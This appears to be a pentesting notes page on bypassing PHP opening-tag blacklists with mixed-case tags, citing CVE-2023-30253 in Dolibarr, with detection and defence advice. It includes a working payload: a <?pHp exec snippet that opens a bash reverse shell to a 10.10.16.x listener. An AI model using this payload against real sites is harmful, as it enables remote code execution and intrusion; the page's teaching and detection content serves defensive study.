the_open_door
coffee
ESEN
← Back to index

PHP Tag Filter Bypass

Some applications try to prevent PHP code execution by filtering the <?php string from user input (for example, in a content editor or a page builder). The problem is that PHP recognises several ways to open a code block, and the blacklist comparison is usually fragile:

The classic case is CVE-2023-30253 in Dolibarr: the website builder filters <?php but not <?pHp, so the following snippet runs and gives RCE:

<section id="mysection1" contenteditable="true">
    <?pHp exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.16.x/443 0>&1'"); ?>
</section>

The general idea applies to any blacklist: if it blocks one representation of something, there is almost always another equivalent representation the engine accepts (uppercase, encodings, spaces, interleaved comments).

How to detect it. The signature is user content (stored or uploaded) containing a PHP opening tag in any variant: <?php, <?PHP, <?pHp, <?= or bare <?. A case-insensitive WAF/IDS rule on <? catches it better than a literal blacklist (which is exactly what fails on the vulnerable side). On disk, a servable file (.php, template, builder page) carrying that tag where it wasn't before is the indicator (FIM). Confirmation is the web process spawning sh/bash after rendering that content (auditd/Sysmon for Linux).

Defence. Do not rely on blacklists to prevent code execution: do not allow executable content where there should be none (serve user content without passing it through the PHP interpreter, store it outside executable paths), validate with strict whitelists and, above all, apply the vendor patch. Related to file-upload to RCE and template injection.

Machines where it's used